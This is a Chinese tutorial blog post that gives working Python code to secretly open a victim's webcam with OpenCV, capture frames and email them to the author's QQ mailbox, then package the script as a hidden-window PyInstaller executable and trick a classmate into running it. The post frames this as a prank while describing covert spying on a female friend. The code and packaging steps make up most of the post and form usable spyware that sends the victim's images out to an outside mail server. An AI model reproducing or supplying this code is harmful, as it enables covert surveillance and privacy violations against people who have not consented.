用python打开电脑摄像头,并把图像传回qq邮箱【Pyinstaller打包】

   日期:2020-05-15     浏览:109    评论:0    
核心提示:前言:如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。代码发送邮件使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一...Python

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。
注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
    sender = '写你的qq邮箱地址'
    receivers = '写你的qq邮箱地址'
    message = MIMEMultipart('related')
    subject = '终于能发图片了'
    message['Subject'] = subject
    message['From'] = sender
    message['To'] = receivers
    content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
    message.attach(content)
    file = open(img, "rb")
    img_data = file.read()
    file.close()
    img = MIMEImage(img_data)
    img.add_header('Content-ID', 'imageid')
    message.attach(img)

    try:
        server = smtplib.SMTP_SSL("smtp.qq.com", 465)
        server.login(sender, '写授权码')
        server.sendmail(sender, receivers, message.as_string())
        server.quit()
    except smtplib.SMTPException as e:
        print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
    cat, frame = cap.read()
    cv2.imwrite('1.png', frame)
    send('1.png')
    os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装
pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。
Pyinstaller -F -w setup.py
注: setup.py 是你的文件名。
然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。
下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

注意:最后送大家一套2020最新企业Pyhon项目实战视频教程,点击此处 进来获取 ,希望大家一起进步哦!

如果感觉有趣的话就随手点个赞吧

 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服